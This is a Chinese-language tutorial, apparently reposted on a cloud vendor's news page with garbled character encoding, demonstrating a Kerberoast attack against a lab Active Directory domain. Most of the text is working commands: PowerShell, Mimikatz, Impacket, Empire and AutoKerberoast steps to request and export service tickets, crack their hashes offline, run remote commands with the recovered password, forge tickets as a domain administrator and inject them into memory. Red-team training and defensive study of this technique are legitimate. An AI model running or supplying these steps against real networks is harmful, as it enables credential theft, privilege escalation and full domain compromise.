您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家?guī)碛嘘P如何進行Kerberoast攻擊演示,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
簡單直白的說Kerberoast攻擊,就是攻擊者為了獲取目標服務的訪問權限,而設法破解Kerberos服務票據(jù)并重寫它們的過程。這是紅隊當中非常常見的一種攻擊手法,因為它不需要與服務目標服務進行任何交互,并且可以使用合法的活動目錄訪問來請求和導出可以離線破解的服務票據(jù),以獲取到最終的明文密碼。之所以出現(xiàn)這種情況,是因為服務票據(jù)使用服務帳戶的散列(NTLM)進行加密,所以任何域用戶都可以從服務轉儲散列,而無需將shell引入運行該服務的系統(tǒng)中。
攻擊者通常會選擇那些可能設置了弱密,碼破解成功率較高的票據(jù)來嘗試破解。一旦攻擊者成功破解出了票據(jù),他們有時不僅僅獲取的只是服務訪問權限,如果服務被配置為在高權限下運行,那么整個域都將可能被攻擊者拿下。這些票據(jù)可以通過考慮多種因素來識別,例如:
SPNs綁定到域用戶賬戶
最后一次密碼設置(Password last set)
密碼過期時間
最后一次登錄(Last logon)
具體來說,Kerberoast攻擊涉及以下五個步驟:
服務主體名稱(SPN)發(fā)現(xiàn)
請求服務票據(jù)
導出服務票據(jù)
破解服務票據(jù)
重寫服務票據(jù)&RAM注入
在服務主體名稱(SPN)發(fā)現(xiàn)這篇文章中,已經(jīng)為大家介紹了如何通過查詢Active Directory的服務主體名稱,來發(fā)現(xiàn)網(wǎng)絡中服務的方法。
為特定SPN請求服務票據(jù)的最簡單方法是通過PowerShell,這個方法是Tim Medin在DerbyCon 4.0演講中介紹的。
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
執(zhí)行klist命令將列出所有可用的緩存票據(jù)。
klist
請求服務票據(jù)的另一種解決方案是通過Mimikatz指定服務主體名稱作為目標。
kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
與klist類似,內存中存在的Kerberos票據(jù)列表可以通過Mimikatz來檢索。從現(xiàn)有的PowerShell會話中,Invoke-Mimikatz腳本將輸出所有票據(jù)。
Invoke-Mimikatz -Command '"kerberos::list"'
或者,加載Kiwi模塊添加一些額外的Mimikatz命令,它們也可以執(zhí)行相同的任務。
load kiwi kerberos_ticket_list
還或者可以通過執(zhí)行一個自定義的Kiwi命令:
kiwi_cmd kerberos::list
Impacket中有一個python模塊,它可以請求僅屬于域用戶的Kerberos服務票據(jù),與計算機帳戶服務票據(jù)相比應該更易于破解。但是,想要與Active Directory進行交互,需要有效的域憑據(jù),因為它將從不屬于域的系統(tǒng)執(zhí)行。
./GetUserSPNs.py -request pentestlab.local/test
服務帳戶哈希也將以John the Ripper格式檢索。
使用Matan Hart開發(fā)的PowerShell模塊可以幫助我們自動識別弱服務票據(jù),該模塊是RiskySPN中的一部分。主要作用是對屬于用戶的可用服務票據(jù)執(zhí)行審計,并根據(jù)用戶帳戶和密碼過期時限來查找最容易包含弱密碼的票據(jù)。
Find-PotentiallyCrackableAccounts -FullData -Verbose
該腳本將提供比klist和Mimikatz更詳細的輸出,包括組信息,密碼有效期和破解窗口。
使用domain參數(shù)執(zhí)行同一模塊,將返回所有具有關聯(lián)服務主體名稱的用戶帳戶。
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
服務票據(jù)信息也可以以CSV格式導出,以便離線查看。
Export-PotentiallyCrackableAccounts
所有出現(xiàn)在控制臺中的票據(jù)信息都將被寫入文件中。
這里還有一個腳本(相同存儲庫的一部分),可以通過其SPN為服務實例獲取服務票據(jù)。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
Tim Medin的Kerberoast工具包已實現(xiàn)流程的自動化。Auto-Kerberoast中包含了Tim的原始腳本,其中包含兩個可執(zhí)行各種功能的PowerShell腳本,例如以Base64, John和Hashcat格式列出和導出服務票據(jù)等。
List-UserSPNs
還有一個domain參數(shù)可以只列出特定域的SPN。
List-UserSPNs -Domain "pentestlab.local"
Mimikatz是可以導出Kerberos服務票據(jù)的標準工具。從PowerShell會話中,以下命令將列出內存中的所有可用票據(jù),并將其保存在遠程主機中。
Invoke-Mimikatz -Command '"kerberos::list /export"'
同樣,PowerShell Empire有一個模塊可以自動完成Kerberos服務票據(jù)提取任務。
usemodule credentials/mimikatz/extract_tickets
該模塊將使用Invoke-Mimikatz函數(shù)自動執(zhí)行以下命令。
standard::base64 kerberos::list /export
支持Kerberos身份驗證的服務票據(jù)哈??梢灾苯邮褂肞owerShell Empire模塊提取。哈希的格式可以提取為John或Hashcat。
usemodule credentials/invoke_kerberoast
該模塊將檢索所有服務帳戶的密碼哈希值。
AutoKerberoast PowerShell腳本將請求并提取base64格式的所有服務票據(jù)。
Invoke-AutoKerberoast
AutoKerberoast存儲庫中還有一個腳本,它將以hashcat兼容格式顯示提取的票據(jù)。
屬于特定域的提升組的票據(jù)也可以提取用于更具針對性的Kerberoasting。
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John
Matan Hart開發(fā)的Get-TGSCipher PowerShell模塊,可以以三種不同的格式提取服務票據(jù)的密碼哈希值:John,Hashcat和Kerberoast。可以在SPN發(fā)現(xiàn)過程中檢索腳本所需的關聯(lián)服務的服務主體名稱。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John TGSCipher - Service Ticket Hash
使用Get-TGSCipher函數(shù)的好處是,無需使用Mimikatz導出票據(jù),這可以大大降低警報的觸發(fā),以及省去將票據(jù)轉換為john格式的步驟。
python腳本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通過提供的密碼列表來破解Kerberos票據(jù)。
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
Lee Christensen開發(fā)了一個名為extractServiceTicketParts的python腳本,它可以為我們提取服務票據(jù)的哈希值,以及一款Go語言編寫的哈希破解器tgscrack ,兩者可以配合使用。
python extractServiceTicketParts.py PENTESTLAB_001.kirbi
tgscrack需要我們?yōu)槠渲付üN募约白值湮募谋镜卮娣怕窂健?/p>
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt
密碼將以明文顯示。
如果PowerShell remoting已啟用,則可以使用從服務票據(jù)中檢索的密碼執(zhí)行遠程命令等操作。
Enable-PSRemoting $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
正在運行的進程列表將被檢索
Kerberos票據(jù)使用密碼的NTLM哈希簽名。如果票據(jù)散列已被破解,那么可以使用Kerberoast python腳本重寫票據(jù)。這將允許在服務將被訪問時模擬任何域用戶或偽造賬戶。此外,提權也是可能的,因為用戶可以被添加到諸如域管理員的高權限組中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令將新票據(jù)重新注入內存,以便通過Kerberos協(xié)議對目標服務執(zhí)行身份驗證。
kerberos::ptt PENTESTLAB.kirbi
上述就是小編為大家分享的如何進行Kerberoast攻擊演示了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。